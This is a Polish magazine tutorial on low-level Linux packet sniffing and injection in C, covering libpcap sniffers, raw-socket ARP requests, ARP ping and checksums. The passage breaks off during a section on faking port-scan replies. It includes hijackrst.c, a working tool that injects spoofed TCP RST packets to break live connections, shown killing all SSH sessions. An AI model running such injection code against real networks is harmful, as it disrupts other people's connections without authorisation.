
W¡chaj i wstrzykuj

Niskopoziomowe programowanie sieciowe w Linuksie

Bartosz Chodorowski <chomzee@ethernet.pl>

Artykuª ukazaª si¦ w numerze 02/2008 czasopisma Xploit.
Prawa do niego posiada Linux New Media Polska Sp. z o.o.

7 listopada 2009

Czasami chcemy aby nasz system wykonywaª operacje, których nie przewidzieli programi±ci
takich kombajnów jak iptables, tcpdump czy nemesis. Je»eli dokªadnie wiemy co chcemy osi¡-
gn¡¢, wystarczy napisa¢ wªasnor¦cznie program, który b¦dzie to robiª. Potrzebujemy jedynie
wiedzy na temat niskopoziomowego programowania sieciowego w Linuksie.

Sªowniczek:

Sni�er (ang. w¡chacz) jest programem sªu»¡cym do przechwy-

tywania i analizowania danych przepªywaj¡cych w sieci.

Promiscuous mode (ang. tryb promiskuitywny) to tryb

pracy karty sieciowej, w którym karta akceptuje wszystkie pa-

kiety sieciowe. Podczas normalnej pracy karta sieciowa odrzuca

i w ogóle nie przetwarza pakietów, które nie s¡ adresowane do

niej. Tryb promiscuous umo»liwia podsªuchiwanie wszystkich pa-

kietów, które do nas docieraj¡.

Tradycyjne programowanie sieciowe umo»liwia nam
korzystanie z gniazd, które mog¡ komunikowa¢
si¦ protokoªami TCP/IP (SOCK_STREAM) lub
UDP/IP (SOCK_DGRAM). Programista jedynie
wysyªa i odbiera dane przez gniazdo, przygotowywa-
niem pakietów, które rzeczywi±cie przechodz¡ przez
interfejs sieciowy, zajmuje si¦ system operacyjny.
Czasem jednak chcemy �pobawi¢ si¦� wszystkimi pro-
tokoªami sieciowymi, od warstwy aplikacji do siecio-
wej wª¡cznie. Chcieliby±my, aby nasz program prze-
twarzaª, �ltrowaª pakiety przychodz¡ce na interfejs
sieciowy oraz formuªowaª wªasne pakiety i wysyªaª je (nawet, je±li ich zawarto±¢ nie jest zgodna z przyj¦tymi
standardami).

1 Prosty sni�er

Program tcpdump jest bardzo dobrym sni�erem. Na uznanie zasªuguje równie» wireshark, którego gra�czny
interfejs sprawdza si¦ idealnie, gdy chcemy pozna¢ sposób dziaªania danego protokoªu, zdiagnozowa¢ problem
w sieci itp. Oba te programy korzystaj¡ z biblioteki libpcap � umo»liwia ona odczytywanie pakietów bezpo-
±rednio z interfejsu sieciowego.

Listing 1: sni�1.c

#include <stdio.h>

#include <stdlib.h>

#include <pcap.h>

int main(int argc , char *argv [])

{

char *dev;

char errbuf[PCAP_ERRBUF_SIZE ];
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pcap_t* descr;

const u_char *p;

struct pcap_pkthdr hdr;

/* wybieramy interfejs sieciowy do nasluchu */

if (argc < 2)

dev = pcap_lookupdev(errbuf);

else

dev = argv [1];

if (dev == NULL)

{

fprintf(stderr , "%s\n", errbuf);

return 1;

}

/* rozpoczynamy wachanie */

descr = pcap_open_live(dev , -1, 1, -1, errbuf);

if (descr == NULL)

{

fprintf(stderr , "pcap_open_live (): %s\n", errbuf);

return 1;

}

fprintf(stderr , "Slucham na interfejsie: %s (tryb promiscuous)\n",

dev);

/* petla , w ktorej odbieramy pakiety */

for (;;)

{

p = pcap_next(descr , &hdr);

if (p == NULL)

{

fprintf(stderr , "Blad podczas odbierania pakietu "

"(pcap_next () zawiodlo)\n");

return 1;

}

printf("."); /* wydrukuj kropke gdy zlapaliemy pakiet */

fflush(stdout);

}

return 0;

}

Napisanie wªasnego, prostego programu z u»yciem libpcap jest banalnie proste. Mechanizm podsªuchiwania
pakietów demonstruje program sniff1.c (listing 1). Kompilacja tego programu odbywa si¦ po wydaniu pole-
cenia:

$ gcc -o sniff1 sniff1.c -lpcap

Teraz nale»y uruchomi¢ program sniff1 z prawami administratora systemu (tylko root mo»e przechwytywa¢
dane w taki sposób).

# ./sniff1

Slucham na interfejsie: eth0 (tryb promiscuous)

...................
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Ka»dy przechwycony pakiet symbolizuje jedna kropka na wyj±ciu. Aby przerwa¢ prac¦ programu, nale»y u»y¢
kombinacji klawiszy ctrl+c. Aby nasªuchiwa¢ na innym interfejsie, nale»y poda¢ jego nazw¦ w pierwszym
argumencie:

# ./sniff1 eth2

Slucham na interfejsie: eth2 (tryb promiscuous)

.........

Omówi¦ teraz funkcje z biblioteki libpcap, których u»ywa nasz prosty sni�er.

Funkcja pcap_open_live:

pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms,

char *ebuf);

Sªu»y do otwarcia urz¡dzenia sieciowego, podobnie jak funkcja fopen otwiera pliki. Funkcja zwraca swojego
rodzaju deskryptor, do którego b¦dziemy si¦ odwoªywa¢ w czasie odbierania danych. Je»eli funkcja zwraca
warto±¢ NULL w przypadku bª¦du. Argumenty funkcji to:

• device � nazwa interfejsu, na którym chcemy nasªuchiwa¢,

• snaplen � ilo±¢ bajtów, jak¡ maksymalnie chcemy odczyta¢ z ka»dego pakietu. Je»eli chcemy odbiera¢
caªe pakiety, ustawiamy temu argumentowi warto±¢ -1,

• promisc � okre±la, czy chcemy przeª¡czy¢ kart¦ sieciow¡ w tryb promiscuous czy nie,

• to_ms � we wszystkich przykªadach przypisujemy argumentowi warto±¢ -1,

• ebuf � wska¹nik do bufora, w którym b¦dzie odkªadana informacja o bª¦dzie, gdy co± pójdzie nie tak.

Po sprawdzeniu, czy nie wyst¡piª bª¡d, mo»emy przej±¢ do rzeczywistego odczytywania pakietów w niesko«-
czonej p¦tli.

Pakiety odbiera funkcja:

u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);

Gdy do interfejsu nie dociera »aden pakiet, funkcja wstrzymuje wykonywanie programu. Po otrzymaniu pakietu,
funkcja zwraca wska¹nik do odebranych danych. Argumenty, które przyjmuje funkcja s¡ nast¦puj¡ce:

• p � deskryptor zwrócony przez pcap_open_live

• h � wska¹nik do struktury, w której odªo»one zostan¡ dodatkowe dane o otrzymanym pakiecie

Warto przyjrze¢ si¦ strukturze struct pcap_pkthdr:

struct pcap_pkthdr

{

struct timeval ts;

bpf_u_int32 caplen;

bpf_u_int32 len;

};
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Szczególnie interesuje nas pole len, które oznacza dªugo±¢ odebranego pakietu. Wªa±nie tyle bajtów mo»emy
odczyta¢ ze wska¹nika, który zwróciªa funkcja pcap_next (o ile nie podali±my mniejszej warto±ci snaplen
podczas wywoªania pcap_open_live).

Je»eli chcemy zgrabnie i elegancko zako«czy¢ podsªuch, wykonujemy funkcj¦:

void pcap_close(pcap_t * p);

2 Odbieranie danych

Zastosowanie programu sniffer1.c w praktyce jest nikªe, chyba, »e chcemy prowadzi¢ statystyki dotycz¡ce
ilo±ci pakietów przepªywaj¡c¡ przez kart¦ sieciow¡. Po otrzymaniu pakietu warto byªoby wykona¢ co± sensow-
niejszego ni» tylko wydrukowa¢ kropk¦ na wyj±cie.

Rysunek 1: Schemat pakietu ARP. Zielony kolor symbolizuje nagªówek protokoªu Ethernet, ró»owy � ARP.

Znaj¡c struktur¦ protokoªów Ethernet II oraz ARP (rysunek 1) napiszemy program, który wykrywa wszystkie
zapytania i odpowiedzi ARP, które docieraj¡ do naszej maszyny. Aby uzna¢ dane za pakiet ARP, musi on
mie¢ bajt 12 ustawiony na 0x08 oraz bajt 13 na 0x06. Nast¦pnie je±li warto±¢ bajtów 20 i 21 wynosi 0x00
0x01, wówczas mamy do czynienia z zapytaniem ARP, je»eli natomiast warto±ci te wynosz¡ kolejno 0x00 0x02,
wówczas rozpatrujemy odpowied¹ ARP. Listing 2 pokazuje ró»nice pomi¦dzy naszym pierwszym programem
sniffer1.c, a programem sniffer2.c, który wy±wietla informacje o ruchu pakietów ARP. Listing 3 pokazuje
przykªadowy wynik dziaªania programu.

Listing 2: sni�2.c

/* [...] */

/* rozpoczynamy wachanie (snaplen 42 w tym przypadku wystarczy) */

descr = pcap_open_live(dev , 42, 1, -1, errbuf);

/* [...] */

/* petla , w ktorej odbieramy pakiety */

for (;;)

{

p = pcap_next(descr , &hdr);

if (p == NULL)

{

fprintf(stderr , "Blad podczas odbierania pakietu "

"(pcap_next () zawiodlo)\n");

return 1;

}

4



/* pakiet krotszy niz 42 bajty na pewno nie jest

* pakietem ARP */

if (hdr.len < 42)

continue;

/* ignoruj pakiet , gdy nie jest to protokol ARP */

if (!(p[12]==0 x08 && p[13]==0 x06))

continue;

/* zapytanie ARP */

if (p[20]==0 x00 && p[21]==0 x01)

printf("%02x:%02x:%02x:%02x:%02x:%02x > "

"%02x:%02x:%02x:%02x:%02x:%02x "

"kim jest %d.%d.%d.%d? pyta %d.%d.%d.%d\n",

p[6], p[7], p[8], p[9], p[10], p[11],

p[0], p[1], p[2], p[3], p[4], p[5],

p[38], p[39], p[40], p[41],

p[28], p[29], p[30], p[31]);

/* odpowiedz ARP */

else if (p[20]==0 x00 && p[21]==0 x02)

printf("%02x:%02x:%02x:%02x:%02x:%02x > "

"%02x:%02x:%02x:%02x:%02x:%02x "

"%d.%d.%d.%d jest pod "

"%02x:%02x:%02x:%02x:%02x:%02x\n",

p[6], p[7], p[8], p[9], p[10], p[11],

p[0], p[1], p[2], p[3], p[4], p[5],

p[28], p[29], p[30], p[31],

p[22], p[23], p[24], p[25], p[26], p[27]);

}

/* [...] */

}

Listing 3: wynik dziaªania programu sni�2

# ./ sniff2

Slucham na interfejsie: eth0 (tryb promiscuous)

00:14:85:8d:35:ca > ff:ff:ff:ff:ff:ff kim jest 10.1.0.200? pyta 10.1.6.8

00:20: ed:b1:bf:cc > ff:ff:ff:ff:ff:ff kim jest 10.1.21.104? pyta 10.1.32.1

00:1b:24:1a:31:c5 > 00:20: ed:b1:bf:cc 10.1.21.104 jest pod 00:1b:24:1a:31:c5

00:30:4f:2a:c2:4a > ff:ff:ff:ff:ff:ff kim jest 10.1.0.1? pyta 10.1.49.1

00:1e:8c:fb:4f:d7 > ff:ff:ff:ff:ff:ff kim jest 10.1.12.7? pyta 10.1.5.7

00:1e:8c:fb:4f:d7 > ff:ff:ff:ff:ff:ff kim jest 10.1.20.105? pyta 10.1.5.7

00:0d:61:31:24: ea > ff:ff:ff:ff:ff:ff kim jest 10.1.19.6? pyta 10.1.5.1

00:1b:24:1a:31:c5 > ff:ff:ff:ff:ff:ff kim jest 10.1.0.200? pyta 10.1.21.104

00:0e:0c:d9:b7:fc > 00:1b:24:1a:31:c5 10.1.0.200 jest pod 00:0e:0c:d9:b7:fc

00:50:8d:e3:f6:bd > ff:ff:ff:ff:ff:ff kim jest 10.1.0.200? pyta 10.1.6.6

3 Wysyªanie wªasnych pakietów

Wiemy ju» jak po cichutku w¡cha¢ w naszej sieci, teraz zróbmy troch¦ zamieszania formuªuj¡c wªasne pakiety
i wysyªaj¡c je w sie¢. Nadanie prostego zapytania ARP przedstawia listing 4 zawieraj¡cy plik sendpacket.c.
Kompilacja nie wymaga oczywi±cie doª¡czania biblioteki libpcap, gdy» w ogóle jej nie u»ywamy:

$ gcc -o sendpacket sendpacket.c
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U»ycie:

# ./sendpacket eth0

Listing 4: sendpacket.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <net/if.h>

#include <linux/if_packet.h>

#include <errno.h>

char buf[] =

{

/* Ethernet II */

0xff , 0xff , 0xff , 0xff , 0xff , 0xff , /* Destination: broadcast */

0x00 , 0x1b , 0x24 , 0x1a , 0x31 , 0xc5 , /* Source */

0x08 , 0x06 , /* Type: ARP */

/* ARP */

0x00 , 0x01 , /* Hardware type: Ethernet */

0x08 , 0x00 , /* Protocol Type: IP */

0x06 , /* Hardware size: 6 */

0x04 , /* Protocol size: 4 */

0x00 , 0x01 , /* Opcode: request */

0x00 , 0x1b , 0x24 , 0x1a , 0x31 , 0xc5 , /* Sender MAC */

0x0a , 0x01 , 0x15 , 0x68 , /* Sender IP: 10.1.21.104 */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* Target MAC */

0x0a , 0x01 , 0x00 , 0x01 /* Target IP: 10.1.0.1 */

};

int main(int argc , char *argv [])

{

int sockfd; /* gniazdo */

struct sockaddr_ll addr; /* adres */

/* wybieramy interfejs sieciowy na ktory chcemy wyslac pakiet */

if (argc != 2)

{

fprintf(stderr , "Podaj interfejs , na ktory mam wyslac "

"pakiet\n");

return 1;

}

/* uzupelniamy strukture adresu */

memset (&addr , 0, sizeof(addr));

addr.sll_family = AF_PACKET;

addr.sll_ifindex = if_nametoindex(argv [1]);

/* prosimy system o "surowe gniazdo", przez ktore mozemy wyslac

* dowolny pakiet! */

if (( sockfd = socket(PF_PACKET , SOCK_RAW , 0)) == -1)

{

perror("blad przy socket");

return 1;

}

/* wysylamy */
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if (sendto(sockfd , buf , sizeof(buf), 0,

(struct sockaddr *)&addr , sizeof(addr)) == -1)

{

fprintf(stderr , "Blad przy sendto: %s\n", strerror(errno));

close(sockfd);

return 1;

}

/* zamykamy gniazdo */

close(sockfd);

return 0;

}

Mo»e program sendpacket.c wygl¡da skromnie, jednak daje on nam prawdziw¡ wªadz¦ � mo»emy wysªa¢ do
sieci dowolny pakiet, ingeruj¡c we wszystkie protokoªy sieciowe pocz¡wszy od Ethernetu. Taki program
w nieodpowiedzialnych r¦kach mo»e by¢ zagro»eniem dla caªej sieci, wystarczy wyobrazi¢ sobie kombinacj¦
for(;;) sendto(); ...

Zastosowane funkcje socket oraz sendto powinny by¢ ci ju» znane z tradycyjnego programowania gniazd
datagramowych (UDP). Ró»nica tkwi w parametrach, z którymi wywuªujemy funkcj¦ socket. Przydatna okazuje
si¦ równie» funkcja if_nametoindex, która zwraca numer przyporz¡dkowany interesuj¡cemu nas interfejsowi
sieciowemu.

sendpacket.c jest oczywi±cie tylko szkieletem prezentuj¡cym sposób, w jaki mo»na wysªa¢ w sie¢ dowolny
pakiet, pisanie osobnego programu do wysyªania osobnego pakietu jest oczywi±cie pomysªem absurdalnym.
Teraz, gdy wiemy jak podsªuchiwa¢ pakiety docieraj¡ce do naszego systemu i wysyªa¢ wªasne pakiety, mo»emy
stworzy¢ programy, które w¡chaj¡ w oczekiwaniu na dany pakiet i na jego podstawie formuªuj¡ odpowied¹.
Mo»liwe jest równie» dziaªanie odwrotne � wysyªamy pakiet i czekamy na odpowied¹ pªyn¡c¡ z sieci... Zastoso-
wa« takich programów mo»e by¢ wiele, przedstawi¦ kilka z nich i poka»¦ praktyczn¡ implementacj¦ programów
dobrych do tych zastosowa«.

4 ARP ping

Spróbujmy zatem sami napisa¢ program wykonuj¡cy tzw. �ARP ping�. Aby sprawdzi¢ czy dany komputer
w sieci jest wª¡czony, mo»na u»y¢ powszechnie znanego programu ping. Jednak host którego pingujemy mo»e
nie odpowiada¢ na wysyªane przez nasz¡ maszyn¡ komunikaty ICMP. Jednak maszyna niemal na pewno odpowie
na zapytanie ARP! Jest do powszechnie znana metoda, u»ywana mi¦dzy innymi przez program o nazwie arping.
Napiszmy program, który wykonuje tak¡ operacj¦. Kod ¹ródªowy przedstawia listing 5.

Listing 5: whois.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <pcap.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <net/if.h>

#include <linux/if_packet.h>

#include <errno.h>

/* Nalezy wpisac tutaj adres MAC naszej karty sieciowej */

static char OUR_MAC [] = {0x00 , 0x1b , 0x24 , 0x1a , 0x31 , 0xc5};
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/* Nalezy wpisac tutaj nasz adres IP oddzielajac liczby przecinkiem a nie

* kropka :) */

char OUR_IP [] = {10 ,1 ,21 ,104};

char buf[] =

{

/* Ethernet II */

0xff , 0xff , 0xff , 0xff , 0xff , 0xff , /* Destination: broadcast */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* Source */

0x08 , 0x06 , /* Type: ARP */

/* ARP */

0x00 , 0x01 , /* Hardware type: Ethernet */

0x08 , 0x00 , /* Protocol Type: IP */

0x06 , /* Hardware size: 6 */

0x04 , /* Protocol size: 4 */

0x00 , 0x01 , /* Opcode: request */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* Sender MAC */

0x00 , 0x00 , 0x00 , 0x00 , /* Sender IP */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* Target MAC */

0x00 , 0x00 , 0x00 , 0x00 /* Target IP */

};

static int parse_ip(char *dest , char *source)

{

memset(dest , 0, 4);

if (inet_aton(source , (struct in_addr *)dest) == 0)

return 1;

return 0;

}

int main(int argc , char *argv [])

{

char *dev;

char errbuf[PCAP_ERRBUF_SIZE ];

pcap_t* descr;

const u_char *p;

struct pcap_pkthdr hdr;

int sockfd; /* gniazdo */

struct sockaddr_ll addr; /* adres */

char ip[4];

if (argc != 3)

{

fprintf(stderr , "uzycie: %s interfejs adres_ip\n", argv [0]);

return 1;

}

/* wybieramy interfejs sieciowy do nasluchu */

dev = argv [1];

if (dev == NULL)

{

fprintf(stderr , "%s\n", errbuf);

return 1;

}

/* drugi argument powinien zawierac adres IP. Sparsuj go do tablicy
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* ip , jesli cos pojdzie nie tak , wypisz informacje o bledzie

* i zakoncz dzialanie */

if (parse_ip(ip, argv [2]))

{

fprintf(stderr , "nieprawidlowo podany adres ip\n");

return 1;

}

/* rozpoczynamy wachanie (snaplen 42 w tym przypadku wystarczy) */

descr = pcap_open_live(dev , 42, 1, -1, errbuf);

if (descr == NULL)

{

fprintf(stderr , "pcap_open_live (): %s\n", errbuf);

return 1;

}

/* uzupelniamy strukture adresu */

memset (&addr , 0, sizeof(addr));

addr.sll_family = AF_PACKET;

addr.sll_ifindex = if_nametoindex(dev);

/* prosimy system o "surowe gniazdo" */

if (( sockfd = socket(PF_PACKET , SOCK_RAW , 0)) == -1)

{

perror("blad przy socket");

return 1;

}

/* uzupelniamy pakiet o potrzebne dane */

memcpy (&buf[6], OUR_MAC , 6);

memcpy (&buf[22], OUR_MAC , 6);

memcpy (&buf[28], OUR_IP , 4);

memcpy (&buf[38], ip, 4);

/* wysylamy zapytanie ARP */

if (sendto(sockfd , buf , sizeof(buf), 0,

(struct sockaddr *)&addr , sizeof(addr)) == -1)

{

fprintf(stderr , "Blad przy sendto: %s\n", strerror(errno));

close(sockfd);

return 1;

}

/* zamykamy gniazdo */

close(sockfd);

/* petla , w ktorej odbieramy pakiety */

for (;;)

{

p = pcap_next(descr , &hdr);

if (p == NULL)

{

fprintf(stderr , "Blad podczas odbierania pakietu "

"(pcap_next () zawiodlo)\n");

return 1;

}

/* pakiet krotszy niz 42 bajty na pewno nie jest

* pakietem ARP */

if (hdr.len < 42)
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continue;

/* ignoruj pakiet , gdy nie jest to protokol ARP */

if (!(p[12]==0 x08 && p[13]==0 x06))

continue;

/* ignoruj pakiet , jesli nie jest odpowiedz ARP */

if (!(p[20]==0 x00 && p[21]==0 x02))

continue;

/* ignoruj pakiet , jesli nie jest odpowiedzia na nasze

* zapytanie */

if (memcmp(ip , &p[28], 4))

continue;

printf("%02x:%02x:%02x:%02x:%02x:%02x\n",

p[22], p[23], p[24], p[25], p[26], p[27]);

pcap_close(descr);

return 0;

}

}

Przed skompilowaniem programu whois.c nale»y ustawi¢ wªasne dane w tablicach OUR_MAC oraz OUR_IP,
aby pakiet przeszedª przez sie¢ zupeªnie legalnie. Oczywi±cie, je»eli sie¢ nie posiada jaki± wymy±lnych zabezpie-
cze«, sfaªszowanie wªasnego adresu MAC i IP nie powinno wpªyn¡¢ na odpowied¹, któr¡ otrzymamy (lub nie).
Jako drugi argument podajemy nazw¦ interfejsu, na którym b¦dziemy operowa¢, w trzecim umieszczamy adres
IP hosta, którego chcemy odpyta¢. Je»eli host istnieje w sieci, odpowie na nasze zapytanie ARP, a program
wypisze na wyj±cie jego adres MAC i zako«czy dziaªanie. Je»eli za± program nie otrzyma odpowiedzi, znaczy,
»e ci¡gle na ni¡ czeka. W tym przypadku odpytywany przez nas adres IP prawdopodobnie nie istnieje w sieci
i pozostaje nam jedynie przerwa¢ program kombinacj¡ klawiszy ctrl+c.

Kompilacja przebiega identycznie jak w przypadku poprzednich programów korzystaj¡cych z biblioteki libpcap:

$ gcc -o whois whois.c -lpcap

Przykªadowe u»ycie:

# ./whois eth0 10.1.0.1

00:0e:0c:d9:b7:fc

5 Wkraczamy w powa»niejsze protokoªy

Dotychczas �bawili±my si¦� jedynie protokoªami Ethernet II oraz ARP. Nic nie stoi na przeszkodzie, aby±my
si¦gn¦li dalej i zainteresowali si¦ protokoªami IP, ICMP, UDP oraz TCP. Bez w¡tpienia poª¡czenia TCP/IP
stanowi¡ fundament funkcjonowania obecnych sieci komputerowych, wobec czego znajomo±¢ dziaªania protoko-
ªów wykorzystywanych przez t¦ technologi¦ jest niezb¦dna do niskopoziomowej »onglerki pakietami. Schemat
budowy pakietów TCP/IP przedstawia rysunek 2 (opcje protokoªu IP s¡ na tyle rzadko u»ywane, »e w natu-
ralny sposób zostaªy pomini¦te na tym rysunku). Protokoªy UDP i ICMP maj¡ du»o prostsz¡ budow¦ i ich
u»ycie nie sprawiaªoby problemów.
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Rysunek 2: Schemat pakietu TCP/IP. Kolory symbolizuj¡ nagªówki protokoªów: zielony � ethernet, czerwony
� IP, niebieski � TCP.

6 Sumy kontrolne

Sumy kontrolne zapewniaj¡ poprawno±¢ przesªanych danych. Suma znajduj¡ca si¦ w protokole IP liczona jest
przy pomocy tego samego algorytmu co suma b¦d¡ca cz¦±ci¡ nagªówka TCP, jednak oczywi±cie sumowane
s¡ inne dane w obu przypadkach. Algorytm bardzo zgrabnie zaimplementowany jest w funkcji checksum
zaprezentowanej na listingu 6.

Listing 6: funkcja licz¡ca sum¦ kontorln¡

unsigned short checksum(unsigned short *buffer , int size)

{

unsigned long cksum =0;

while (size > 1)

{

cksum += *buffer ++;

size -= sizeof(unsigned short);

}

if (size)

cksum += *(char*) buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >> 16);

return (unsigned short)(~ cksum);

}

Suma kontrolna znajduj¡ca si¦ w nagªówku IP jest liczona ze wszystkich bajtów tego nagªówka, w którym bajty
odpowiedzialne za sum¦ kontroln¡ zostaªy wcze±niej wyzerowane.

Do policzenia sumy TCP powinni±my u»y¢ dodatkowej pomocniczej struktury zwanej pseudo nagªówkiem
(pseudo header). Mo»emy sprowadzi¢ to do utworzenia bufora, w którym umie±cimy kolejno:

• ¹ródªowy adres IP (4 bajty)

• docelowy adres IP (4 bajty)

• identy�kacja protokóªu, 0x0006 dla TCP (2 bajty)

• dªugo±¢ nagªówka TCP i danych (2 bajty)
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• nagªówek TCP z wyzerowanymi bajtami odpowiedzialnymi za sum¦ kontroln¡ dane TCP

Po wszystkich bajtach pseudo nagªówka liczona jest suma kontrolna, która umieszczana jest w nagªówku TCP.
Po jej obliczeniu pseudo nagªówek nie jest ju» potrzebny, nie jest bowiem wysyªany.

7 Uprowadzenie poª¡czenia TCP

Je»eli mo»emy podsªucha¢ jakie± poª¡czenie TCP, mo»emy te» bez problemu je �uprowadzi¢�, czyli wstrzyk-
n¡¢ pakiet tak aby wygl¡daª, jakby byª wysªany przez jedn¡ z komunikuj¡cych si¦ stron. Wówczas host, który
otrzymaª sfaªszowany pakiet b¦dzie kontynuowa¢ komunikacj¦ z nami, podczas gdy drugi system zauwa»y zawie-
szenie (desynchronizacj¦) poª¡czenia. W teorii pozwala to na wydobycie lub mody�kacj¦ poufnych informacji
w sytuacji, gdy hasªo lub inna metoda autoryzacji stosowana jest jedynie na pocz¡tku komunikacji.

Z najprostszym przykªadem uprowadzenia poª¡czenia mamy do czynienia, gdy sfaªszowany pakiet posiada
ustawion¡ �ag¦ RST � system który otrzyma taki pakiet zmuszony jest przerwa¢ poª¡czenie (connection reset by
peer). Jedyne co musimy zrobi¢, to wyw¡cha¢ pakiet z �ag¡ ACK z poª¡czenia które nas interesuje i wstrzykn¡¢
pakiet, którego numer sekwencyjny (SEQ) równy jest numerowi potwierdzenia ACK w odebranym pakiecie.

Najwa»niejsze fragmenty programu hijackrst.c implementuj¡cy uprowadzanie poª¡cze« TCP przedstawia
listing 7.

Listing 7: hijackrst.c

char buf[] =

{

/* Ethernet II */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* destination */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* source */

0x08 , 0x00 , /* Type: IP */

/* IP */

0x45 , /* version: 4, header len: 20 */

0x00 ,

0x00 , 0x28 , /* total len: 40 */

0x00 , 0x00 , /* ID */

0x00 , 0x00 , /* flags , offset */

0x80 , /* TTL */

0x06 , /* proto: TCP */

0x00 , 0x00 , /* header checksum */

0x00 , 0x00 , 0x00 , 0x00 , /* source */

0x00 , 0x00 , 0x00 , 0x00 , /* destination */

/* TCP */

0x00 , 0x00 , /* source port */

0x00 , 0x00 , /* destination port */

0x00 , 0x00 , 0x00 , 0x00 , /* seq */

0x00 , 0x00 , 0x00 , 0x00 , /* ack */

0x50 , /* header len: 20 */

0x04 , /* flags: RST */

0x00 , 0x00 , /* window size */

0x00 , 0x00 , /* checksum */

0x00 , 0x00 /* urgent pointer */

};

/* [...] */

unsigned short sum; /* do liczenia sum kontrolnych */
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unsigned char pseudohdr [32];

unsigned short port;

/* [...] */

/* petla , w ktorej odbieramy pakiety */

for (;;)

{

p = pcap_next(descr , &hdr);

if (p == NULL)

{

fprintf(stderr , "Blad podczas odbierania pakietu "

"(pcap_next () zawiodlo)\n");

return 1;

}

/* musi to byc pakiet IPv4 */

if (!(p[12] == 0x08 && p[13] == 0x00 && p[14] == 0x45))

continue;

/* musi to byc pakiet TCP */

if (!(p[23] == 0x06))

continue;

/* wachaj tylko pakiety z ustawiona flaga ACK */

if (!(p[47]&16))

continue;

/* bierzemy pod uwage tylko pakiety , w ktorych port zrodlowy

* lub docelowy jest rowny zawartosci zmiennej port */

if (memcmp (&port , &p[34], 2) != 0

&& memcmp (&port , &p[36], 2) != 0)

continue;

/* Kopiujemy w odpowiedni sposob dane z otrzymanego pakietu do

* pakietu , ktory zamierzamy wyslac */

/* adres MAC */

memcpy (&buf[0], &p[6], 6);

memcpy (&buf[6], &p[0], 6);

/* adres IP */

memcpy (&buf[26], &p[30], 4);

memcpy (&buf[30], &p[26], 4);

/* port TCP */

memcpy (&buf[34], &p[36], 2);

memcpy (&buf[36], &p[34], 2);

/* TCP seq ustawiamy na wartosc ack z otrzymanego pakietu */

memcpy (&buf[38], &p[42], 4);

/* suma kontrolna IP */

buf [24] = 0x00;

buf [25] = 0x00;

sum = checksum (( unsigned short*)&buf[14], 20);

memcpy (&buf[24], &sum , 2);

/* suma kontrolna TCP */

buf [50] = 0x00;

buf [51] = 0x00;

memset(pseudohdr , 0, 32);
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memcpy (& pseudohdr [0], &buf[26], 4);

memcpy (& pseudohdr [4], &buf[30], 4);

pseudohdr [9] = 0x06;

pseudohdr [11] = 0x14;

memcpy (& pseudohdr [12], &buf[34], 20);

sum = checksum (( unsigned short*)pseudohdr , 32);

memcpy (&buf[50], &sum , 2);

/* wysylamy pakiet RST! */

if (sendto(sockfd , buf , 54, 0,

(struct sockaddr *)&addr , sizeof(addr)) == -1)

{

fprintf(stderr , "Blad: %s\n", strerror(errno));

close(sockfd);

return 1;

}

printf("."); /* kropeczka jako znak zwyciestwa */

fflush(stdout);

}

/* [...] */

Programowi hijackrst.c nale»y poda¢ dwa argumenty: interfejs sieciowy oraz port, na którym poª¡czenia
sieciowe maj¡ by¢ zrywane. Po wykonaniu komendy

# ./hijactrst eth0 22

Zostan¡ zerwane wszystkie poª¡czenia na domy±lnym porcie ssh, a program ka»dy wysªany pakiet RST zasy-
gnalizuje kropk¡ na wyj±ciu.

Program �wybiera� poª¡czenia, które ma przerwa¢, za pomoc¡ portów TCP. Gdyby±my chcieli, mogliby±my
kwali�kowa¢ poª¡czenia do zrywania za pomoc¡ innych kryteriów takich jak na przykªad adresy IP nadawcy-
/odbiorcy czy te» adresy sprz¦towe MAC z nagªówka protokoªu Ethernet, wystarczy wprowadzi¢ jedynie drobne
poprawki w programie.

8 Zabezpieczenie przed skanowaniem portów

Przyjmijmy, »e z jaki± wzgl¦dów chcemu utrudni¢ czy wr¦cz uniemo»liwi¢ skanowanie portów, czyli zdobywanie
informacji o usªugach udost¦pnianych przez nasz¡ maszyn¦ w sieci.

Aby to osi¡gn¡¢, nasza maszyna nie powinna w ogóle odsyªa¢ pakietów RST,ACK w momencie, gdy napastnik
wysyªa zaproszenie do poª¡czenia sygnalizowane �ag¡ SYN. Z pomoc¡ przychodzi zwykªy �rewall (na przykªad
iptables). Przyjmijmy, »e chcemy otworzy¢ na ±wiat porty 80 i 22, reszt¦ ka»emy ignorowa¢ nie odsyªaj¡c
powiadomienia o odrzucenia poª¡czenia. Jednak napastnik skanuj¡cy porty oczywi±cie wykryje serwery httpd
i sshd dziaªaj¡ce na naszej maszynie.

Tutaj z pomoc¡ przyjdzie kolejny, tym razem ju» ostatni, program, którego zadaniem b¦dzie odpowiadanie
na wszystkie pakiety SYN pakietami SYN+ACK akceptuj¡cymi poª¡czenia na wszystkich portach TCP za
wyj¡tkiem faktycznie otwartych portów 80 i 22 (pakiety SYN kierowane do tych portów zostan¡ prawidªowo
obsªu»one przez nasz system operacyjny, odsyªanie na nie sztucznych odpowiedzi powodowaªoby kon�ikty).
Wówczas napastnik skanuj¡cy nasz komputer otrzyma absurdaln¡ informacj¦, wedªug której wszystkie porty
TCP s¡ otwarte! Poª¡czenia te nie b¦d¡ faktycznie obsªugiwane przez stos TCP/IP naszego systemu ope-
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racyjnego, nie musimy si¦ wi¦c obawia¢ o jak¡kolwiek strat¦ wydajno±ci. Wówczas niewprawiony napastnik
o nieczystych intencjach prawdopodobnie da sobie spokój i nie b¦dzie ju» ruszaª naszego serwera.

Ciekawe fragmenty programu fakeresp.c przedstawia listing 8. Listing 9 pokazuje wynik skanowania portów,
gdy na naszej maszynie nie jest uruchomiony program fakeresp, listing 10 zawiera znacznie obci¦ty wynik
